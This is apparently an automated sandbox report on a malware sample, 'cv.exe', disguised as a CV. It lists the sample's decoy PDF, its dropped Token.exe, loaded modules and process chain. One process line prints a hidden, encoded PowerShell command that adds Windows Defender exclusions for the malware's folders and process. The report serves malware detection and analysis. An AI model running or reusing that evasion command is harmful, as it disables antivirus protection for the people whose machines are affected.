Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0664E968	16_2_0664E968
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06648623	16_2_06648623
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_06648630	16_2_06648630
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_091C6F00	16_2_091C6F00
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_091C5000	16_2_091C5000
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_091C6EF0	16_2_091C6EF0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_091C2310	16_2_091C2310
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09224F58	16_2_09224F58
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09222BB0	16_2_09222BB0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922D3F0	16_2_0922D3F0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09221E20	16_2_09221E20
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09221A38	16_2_09221A38
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09220040	16_2_09220040
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09221658	16_2_09221658
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922F098	16_2_0922F098
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922C328	16_2_0922C328
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09229530	16_2_09229530
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922850C	16_2_0922850C
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09229514	16_2_09229514
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922C318	16_2_0922C318
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922757F	16_2_0922757F
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09228540	16_2_09228540
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922C15A	16_2_0922C15A
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_092223A0	16_2_092223A0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922CDAB	16_2_0922CDAB
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_092223B0	16_2_092223B0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922CDB0	16_2_0922CDB0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09220FBC	16_2_09220FBC
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922D3E3	16_2_0922D3E3
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922B9E1	16_2_0922B9E1
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922B9F0	16_2_0922B9F0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_092275F8	16_2_092275F8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09227620	16_2_09227620
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922B620	16_2_0922B620
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09221A28	16_2_09221A28
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922E62E	16_2_0922E62E
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922B630	16_2_0922B630
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09220006	16_2_09220006
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09221011	16_2_09221011
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922C218	16_2_0922C218
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09226268	16_2_09226268
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09226278	16_2_09226278
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09221240	16_2_09221240
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922B2AD	16_2_0922B2AD
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922C8BB	16_2_0922C8BB
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922F08B	16_2_0922F08B
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09226E89	16_2_09226E89
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09226E98	16_2_09226E98
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0922C8C8	16_2_0922C8C8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09232960	16_2_09232960
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0923F448	16_2_0923F448
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_092311C8	16_2_092311C8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09230006	16_2_09230006
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09230040	16_2_09230040
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09231080	16_2_09231080
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09235B68	16_2_09235B68
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09235B88	16_2_09235B88
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_092315FB	16_2_092315FB
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0923F439	16_2_0923F439
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09234700	16_2_09234700
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_09231600	16_2_09231600
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_092346F0	16_2_092346F0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A5FC9A0	16_2_0A5FC9A0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A5FECE8	16_2_0A5FECE8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A5F0040	16_2_0A5F0040
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A5F0027	16_2_0A5F0027
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A5F4748	16_2_0A5F4748
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A5F4777	16_2_0A5F4777
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A5F4738	16_2_0A5F4738
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A5F3564	16_2_0A5F3564
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A853018	16_2_0A853018
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A8576B4	16_2_0A8576B4
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A8576F0	16_2_0A8576F0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A854208	16_2_0A854208
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A853628	16_2_0A853628
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A858240	16_2_0A858240
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A8587A2	16_2_0A8587A2
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A859BF0	16_2_0A859BF0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A850007	16_2_0A850007
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A850040	16_2_0A850040
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A85E470	16_2_0A85E470
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A85B198	16_2_0A85B198
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A858998	16_2_0A858998
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A8581AB	16_2_0A8581AB
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A855DF0	16_2_0A855DF0
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A8541F8	16_2_0A8541F8
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A853501	16_2_0A853501
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Code function: 16_2_0A85897A	16_2_0A85897A

Source: cv.exe

Static PE information: invalid certificate

Source: cv.exe, 00000000.00000000.1375950121.000000000111C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFileZilla_3.68.1_win32-setup.exe4 vs cv.exe
Source: cv.exe, 00000000.00000002.2059062763.0000000006660000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRP8PV.dll, vs cv.exe
Source: cv.exe, 00000000.00000002.2032624831.000000000115D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs cv.exe
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAimtars.dll0 vs cv.exe
Source: cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAimtars.dll0 vs cv.exe
Source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs cv.exe
Source: cv.exe, 00000005.00000002.2072016816.0000000004445000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs cv.exe
Source: cv.exe, 00000005.00000002.2058907435.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs cv.exe
Source: cv.exe, 00000005.00000002.2072016816.0000000004503000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs cv.exe
Source: cv.exe, 00000005.00000002.2089979659.0000000005660000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs cv.exe
Source: cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePzclh.dll" vs cv.exe
Source: cv.exe, 00000005.00000002.2072016816.000000000430E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs cv.exe
Source: cv.exe, 00000005.00000002.2086802465.00000000054D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePzclh.dll" vs cv.exe
Source: cv.exe, 00000005.00000002.2055767479.0000000000D60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs cv.exe
Source: cv.exe, 00000005.00000002.2094550828.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs cv.exe
Source: cv.exe, 00000005.00000002.2058907435.000000000316A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametaskschd.dll.muij% vs cv.exe
Source: cv.exe, 00000005.00000002.2058907435.000000000316A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q,\\StringFileInfo\\040904B0\\OriginalFilename vs cv.exe
Source: cv.exe, 00000005.00000002.2072016816.0000000004289000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePzclh.dll" vs cv.exe
Source: cv.exe, 00000005.00000002.2058907435.0000000003127000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs cv.exe
Source: cv.exe	Binary or memory string: OriginalFilenameFileZilla_3.68.1_win32-setup.exe4 vs cv.exe

Source: 0.2.cv.exe.4c81ab8.1.raw.unpack, OperationalSorter.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.cv.exe.4c81ab8.1.raw.unpack, VirtualEvent.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.cv.exe.4c81ab8.1.raw.unpack, VirtualEvent.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.cv.exe.4b97c02.0.raw.unpack, OperationalSorter.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.cv.exe.4b97c02.0.raw.unpack, VirtualEvent.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.cv.exe.4b97c02.0.raw.unpack, VirtualEvent.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, I3Uw5JkQYHiPBWbdhjU.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, I3Uw5JkQYHiPBWbdhjU.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, I3Uw5JkQYHiPBWbdhjU.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.cv.exe.430eac0.3.raw.unpack, I3Uw5JkQYHiPBWbdhjU.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.evad.winEXE@27/61@2/1

Source: C:\Users\user\Desktop\cv.exe

File created: C:\Users\user\Documents\OUCH_SOKHENG.pdf

Jump to behavior

Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\cv.exe	Mutant created: \Sessions\1\BaseNamedObjects\lnwza888
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7628:120:WilError_03

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-13 07-27-58-300.log

Jump to behavior

Source: cv.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: cv.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\cv.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\cv.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\cv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: cv.exe

ReversingLabs: Detection: 21%

Source: cv.exe

String found in binary or memory: Vehicle_{0}/Added {0} to the queue.3Managing vehicle queue...?Waiting for the green signal...eAll vehicles have passed through the intersection.uMorning rush hour detected. Extended green light duration.uEvening rush hour detected. Extended green light duration.aOff-peak hours detected. Normal timings applied.

Source: C:\Users\user\Desktop\cv.exe

File read: C:\Users\user\Desktop\cv.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\cv.exe "C:\Users\user\Desktop\cv.exe"
Source: C:\Users\user\Desktop\cv.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf"
Source: C:\Users\user\Desktop\cv.exe	Process created: C:\Users\user\Desktop\cv.exe "C:\Users\user\Desktop\cv.exe"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1636,i,5757561869882323964,3520137961289950792,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe C:\Users\user\AppData\Local\AllData\egsflr\Token.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf"
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process created: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe "C:\Users\user\AppData\Local\AllData\egsflr\Token.exe"
Source: C:\Users\user\Desktop\cv.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process created: C:\Users\user\Desktop\cv.exe "C:\Users\user\Desktop\cv.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1636,i,5757561869882323964,3520137961289950792,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf"
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process created: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe "C:\Users\user\AppData\Local\AllData\egsflr\Token.exe"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\cv.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Section loaded: msacm32.dll	Jump to behavior
